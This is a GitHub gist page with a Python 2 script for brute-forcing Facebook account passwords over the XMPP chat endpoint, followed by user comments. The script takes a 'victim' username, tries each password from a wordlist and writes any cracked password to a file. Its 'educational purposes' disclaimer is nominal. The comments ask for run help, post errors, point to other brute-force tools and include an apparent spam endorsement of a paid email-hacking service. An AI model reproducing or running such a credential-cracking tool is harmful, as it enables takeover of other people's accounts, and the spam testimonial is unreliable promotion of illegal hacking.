Skip to content

Instantly share code, notes, and snippets.

@HossamYousef
Last active December 17, 2023 11:46
Show Gist options
  • Save HossamYousef/070c805d947bd17c7a19 to your computer and use it in GitHub Desktop.
Save HossamYousef/070c805d947bd17c7a19 to your computer and use it in GitHub Desktop.
This simple script to penetrate accounts Facebook brute-force
#!/usr/bin/python
#Install SleekXMPP & xmpppy Modules
#This program is not for children -(18)
#This program is only for educational purposes only.
#Don't Attack people facebook account's it's illegal !
#If you want to HaCk into someone's account, you must have the permission of the user.
#usage:Facebook-brute-force.py [wordlist file]
#Coded By Hossam Youssef <hossam.mox@gmail.com> ^_^
import xmpp
import sys
import urllib,re
import time
import random
import datetime
def internet_on():
try :
data = urllib.urlopen('https://www.google.com')
return True
except :
return False
if internet_on() == True:
print """
\t _____ _____ _____ _
\t| ___|| ___ \ / __ \ | |
\t| |_ | |_/ / ______ | / \/ _ __ __ _ ___ | | __ ___ _ __
\t| _| | ___ \ |______| | | | '__| / _` | / __|| |/ / / _ \| '__|
\t| | | |_/ / | \__/\| | | (_| || (__ | < | __/| |
\t\_| \____/ \____/|_| \__,_| \___||_|\_\ \___||_|
# Private Ghost Password ^_^
# Coded By Hossam Youssef :)
# Enjoy Cracking ^_^
# usage: Facebook-brute-force.py [wordlist file]
"""
login = raw_input("Enter username of victim account : ")
password_list = open(sys.argv[1],"r")
_login=login+"@chat.facebook.com"
print "[+]Connecting To Facebook Terminal Server... "
print "[+]Connection Has Been Establishing Successfully To The Server..."
print "[+]Negotiating With The Protocol..."
print "[+]There was no error with Port..."
print "[+]You Are Successfully Connected Enj0y..."
print "[+]Attack Has Been Started Be Patient..."
for pwd in password_list:
sys.stdout.write(".")
sys.stdout.flush()
pwd=pwd.strip('\n')
jid = xmpp.protocol.JID(_login)
cl = xmpp.Client(jid.getDomain(), debug=[])
if cl.connect(('chat.facebook.com',5222)):
print "!~Injecting Password~!"
else:
print "[+]Successed[+]"
print '[!]',pwd
if cl.auth(jid.getNode(), pwd):
cl.sendInitPresence()
print "[+] -> The Account Has Been Cracked ^__^ "," Password Found ==> : ",pwd
file = open(login+".txt", "w")
file.write("Email : " +login+ "@facebook.com\n")
file.write("Password : " +pwd+ "\n")
file.write(str(datetime.datetime.now()))
file.close()
break
cl.disconnect()
time.sleep(2)
else:
print "You have a problem to connect to the Internet :("
@frankthetank2400
Copy link

mmhh can you give me the lines im new with python comming from java&c++
do you mean this lines?
email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))
passwordlist = str(raw_input("Enter the name of the password list file : "))

@santaclause10
Copy link

How to use this can anyone tell me please

@XiiSky
Copy link

XiiSky commented Mar 5, 2017

This might help you -> https://developers.facebook.com/docs/chat . The api closed.

@coolabhishek574
Copy link

my python script is running successfully but it cant found password even my wordlist contain my password ...plz tell me what to do

@joeviand
Copy link

What a command for this script after succes?

@msdosroot
Copy link

why that happen

python faceBrute.py
Traceback (most recent call last):
File "faceBrute.py", line 11, in
import xmpp
ImportError: No module named xmpp

@rrpathi
Copy link

rrpathi commented May 20, 2017

Traceback (most recent call last):
File "Facebook-brute-force.py", line 69, in
if cl.auth(jid.getNode(), pwd):
File "/usr/lib/python2.7/dist-packages/xmpp/client.py", line 225, in auth
while self.SASL.startsasl=='in-process' and self.Process(1): pass
File "/usr/lib/python2.7/dist-packages/xmpp/dispatcher.py", line 303, in dispatch
handler'func'
File "/usr/lib/python2.7/dist-packages/xmpp/dispatcher.py", line 215, in streamErrorHandler
raise exc((name,text))
xmpp.protocol.InternalServerError: (u'internal-server-error', '')

@TAM360
Copy link

TAM360 commented Jun 19, 2017

script whenever i run says "you have a problem connecting to the internet" even though my internet is working fine. any solutions?

@ahmaaliaref
Copy link

it dosent work

@complexpotato
Copy link

would be nice if you added SOCK5 Proxy to it, by doing "import tor" and "import socks"

@complexpotato
Copy link

I made a better version of Facebook/Twitter/Instagram Bruteforce script, come check it out.
https://github.com/Juniorn1003/Faitagram

@zuekegreen
Copy link

can you teach me guys on how to run this script thanks

@hefhuman
Copy link

hefhuman commented Jun 1, 2018

Traceback (most recent call last):
File "C:\Users\user1\Downloads\BruteForce\Facebook-brute-force.py", line 77, in
if cl.auth(jid.getNode(), pwd):
File "C:\Python27\ArcGIS10.2\lib\site-packages\xmpp\client.py", line 209, in auth
while not self.Dispatcher.Stream._document_attrs and self.Process(1): pass
AttributeError: Client instance has no attribute 'Dispatcher'

@IhsanKing
Copy link

How to i install ( xmpp) ?

@HarflyZone
Copy link

input

@saitawngpha
Copy link

I have got the same problem like @HarflyZone .

@Jammy1997
Copy link

[+]Connecting To Facebook Terminal Server... [+]Connection Has Been Establishing Successfully To The Server... [+]Negotiating With The Protocol... [+]There was no error with Port... [+]You Are Successfully Connected Enj0y... [+]Attack Has Been Started Be Patient... .Traceback (most recent call last): File "C:\Users\abdo\Desktop\Facebook-brute-force.py", line 114, in if cl.connect(('chat.facebook.com',5222)): File "C:\Python27\lib\site-packages\xmpp\client.py", line 205, in connect while not self.TLS.starttls and self.Process(1): pass File "C:\Python27\lib\site-packages\xmpp\dispatcher.py", line 303, in dispatch handler'func' File "C:\Python27\lib\site-packages\xmpp\transports.py", line 337, in StartTLSHandler self._startSSL() File "C:\Python27\lib\site-packages\xmpp\transports.py", line 316, in _startSSL tcpsock._sslIssuer = tcpsock._sslObj.issuer() AttributeError: '_ssl._SSLSocket' object has no attribute 'issuer'

fix just install patched xmpppy frome here : https://github.com/ArchipelProject/xmpppy

@timduwel0
Copy link

Thank you so much jeajamhacker@gmail.com, you are so reliable at what you do and I am among the people that got the best services from you just yesterday I emailed you for a GMAIL hack and you came up with my results in less than 30min. All thanks to you once again.

Copy link

ghost commented Dec 17, 2023

it's a prank, I think

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment